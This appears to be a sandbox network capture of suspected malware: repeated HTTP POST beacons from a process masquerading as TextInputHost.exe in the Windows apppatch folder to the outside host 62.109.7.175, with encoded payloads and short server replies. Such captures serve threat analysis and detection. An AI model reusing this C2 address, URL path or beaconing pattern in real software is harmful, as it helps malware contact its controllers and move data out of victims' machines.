Apr 2, 2024 23:42:39.725527048 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:40.011806965 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:40.012016058 CEST	2552	OUT	Data Raw: 5a 5f 58 54 55 44 54 58 5d 5c 52 54 56 51 50 53 59 55 5f 5f 52 58 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z_XTUDTX]\RTVQPSYU__RXW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$-Y62]5W!$:#^=88X,04!^)(36(8E"(+-9Y /P,8
Apr 2, 2024 23:42:40.315721035 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:40.746993065 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:41.025847912 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:41.026026964 CEST	2552	OUT	Data Raw: 5f 59 5d 55 55 44 51 59 5d 5c 52 54 56 51 50 50 59 50 5f 5b 52 5e 57 5b 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Y]UUDQY]\RTVQPPYP_[R^W[P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___':[!.]61'_,>8<_:#X6<3!Z+9; ^?)9Y /P,8
Apr 2, 2024 23:42:41.326402903 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:41.884774923 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:42.164691925 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:42.164901972 CEST	2552	OUT	Data Raw: 5f 5a 5d 57 55 49 54 5c 5d 5c 52 54 56 5c 50 50 59 56 5f 5d 52 53 57 5c 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Z]WUIT\]\RTV\PPYV_]RSW\P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'],.)63Z"=_'?+ :#"%?0"(4)-9Y /P,
Apr 2, 2024 23:42:42.459558964 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:43.043663025 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:43.320832968 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:43.321023941 CEST	2552	OUT	Data Raw: 5f 5c 5d 57 50 40 54 5f 5d 5c 52 54 56 51 50 54 59 56 5f 5e 52 5a 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _\]WP@T_]\RTVQPTYV_^RZWXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'_.>1[!=!X')^=^$_93'^6>(V)]+ C (0\(=9Y /P,8
Apr 2, 2024 23:42:43.613683939 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:44.238640070 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:44.517649889 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:44.517812967 CEST	2552	OUT	Data Raw: 5a 5a 58 57 55 42 51 58 5d 5c 52 54 56 57 50 53 59 5a 5f 5a 52 5a 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: ZZXWUBQX]\RTVWPSYZ_ZRZW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$:= #9#260)8 :U;6;&W< -X**<B#0)=9Y /P,
Apr 2, 2024 23:42:44.819152117 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:44.252139091 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:44.530203104 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:44.530364037 CEST	1852	OUT	Data Raw: 5f 5d 5d 57 55 42 51 51 5d 5c 52 54 56 55 50 53 59 5a 5f 5a 52 52 57 5c 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _]]WUBQQ]\RTVUPSYZ_ZRRW\P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'^:=Y662*$?X=(4.<5.?V6(78Z(=9Y /P,0
Apr 2, 2024 23:42:44.815088034 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:44 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 50 3c 1c 30 05 20 38 20 1c 28 32 39 08 33 51 39 5a 2e 2e 36 05 3f 17 0d 58 39 3b 23 07 35 01 23 14 28 1d 3d 5d 32 07 24 59 24 0d 2b 59 01 13 26 07 3c 05 3b 0a 26 32 0e 0c 24 2b 31 01 27 09 24 1d 29 5d 2f 08 30 3d 22 0c 2b 33 23 01 3f 33 29 51 29 17 01 13 2f 02 39 58 20 34 2a 5e 0c 17 22 55 3f 00 23 58 26 34 34 1f 3d 0b 37 58 28 18 23 01 29 29 05 1d 31 02 1c 05 2a 01 37 0b 25 03 00 0c 2b 3d 26 0d 34 32 20 0f 3e 28 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: 'P<0 8 (293Q9Z..6?X9;#5#(=]2$Y$+Y&<;&2$+1'$)]/0="+3#?3)Q)/9X 4^"U?#X&44=7X(#))17%+=&42 >('] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:45.302396059 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:45.584652901 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:45.584815979 CEST	2552	OUT	Data Raw: 5f 5c 5d 5d 55 41 51 50 5d 5c 52 54 56 51 50 57 59 5a 5f 56 52 59 57 50 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _\]]UAQP]\RTVQPWYZ_VRYWPP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'--[!6%Y'7)3:8"( 9\($"(?)-9Y /P,8
Apr 2, 2024 23:42:45.871099949 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:46.340420008 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:46.620457888 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:46.620666027 CEST	2552	OUT	Data Raw: 5f 51 5d 57 55 47 54 58 5d 5c 52 54 56 57 50 53 59 5b 5f 56 52 5a 57 59 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Q]WUGTX]\RTVWPSY[_VRZWYP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'X,-5X!0.Y#1)&7X=^#,#'^!+&<5[)+ (Y*=9Y /P,
Apr 2, 2024 23:42:46.907366991 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:48.363010883 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:48.646431923 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:48.979331017 CEST	2552	OUT	Data Raw: 5a 5a 5d 50 55 40 54 5b 5d 5c 52 54 56 53 50 52 59 50 5f 5b 52 5a 57 59 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: ZZ]PU@T[]\RTVSPRYP_[RZWYP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'Y.%Y!3%615X3?_> .5T<0><<4 \=9Y /P,0
Apr 2, 2024 23:42:49.269953012 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:49.889236927 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:50.170981884 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:50.186177969 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:50.183162928 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:50.467394114 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:50.467551947 CEST	1868	OUT	Data Raw: 5f 5a 5d 55 55 42 51 5c 5d 5c 52 54 56 57 50 54 59 56 5f 5f 52 5a 57 59 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Z]UUBQ\]\RTVWPTYV__RZWYP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'X:_!#62509?X=8;,37_!+)< (4C 87==9Y /P,
Apr 2, 2024 23:42:50.758713007 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:50 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 12 28 35 37 10 23 38 0d 0e 2a 22 25 0c 30 24 25 5c 38 07 32 00 2b 5f 20 06 2e 05 24 5f 22 2b 2b 14 28 1d 22 03 25 10 3c 59 24 1d 2b 59 01 13 26 06 3f 02 38 57 26 22 01 57 26 28 08 11 33 51 3b 41 3e 05 20 1f 33 3d 04 0b 3f 23 24 12 2a 20 22 0e 28 3a 27 13 2d 2c 3d 1f 21 0e 2a 5e 0c 17 22 54 28 07 28 01 25 19 2b 05 29 21 3f 5e 3c 1f 23 03 3d 3a 23 54 31 05 22 00 2a 11 15 0e 26 3d 29 1c 29 3e 21 53 21 22 01 57 3d 38 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: '(57#8"%0$%\82+_ .$_"++("%<Y$+Y&?8W&"W&(3Q;A> 3=?#$ "(:'-,=!^"T((%+)!?^<#=:#T1"&=))>!S!"W=8'] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:50.317101955 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:50.595827103 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:50.596025944 CEST	2552	OUT	Data Raw: 5f 5e 58 56 55 47 54 5f 5d 5c 52 54 56 50 50 5c 59 57 5f 5f 52 5e 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _^XVUGT_]\RTVPP\YW__R^WXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$.=%"."!90=^#.<!;>V(%**#(=9Y /P,<
Apr 2, 2024 23:42:50.881119967 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:51.397768021 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:51.684247017 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:51.684492111 CEST	2552	OUT	Data Raw: 5f 5e 58 57 50 44 51 51 5d 5c 52 54 56 5d 50 54 59 56 5f 5e 52 59 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _^XWPDQQ]\RTV]PTYV_^RYW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'^9.)[5*Z!1.$:<=8 ^.?Y#;"Q<"+4;4X)-9Y /P,
Apr 2, 2024 23:42:51.971607924 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:52.460855007 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue Connection: Keep-Alive
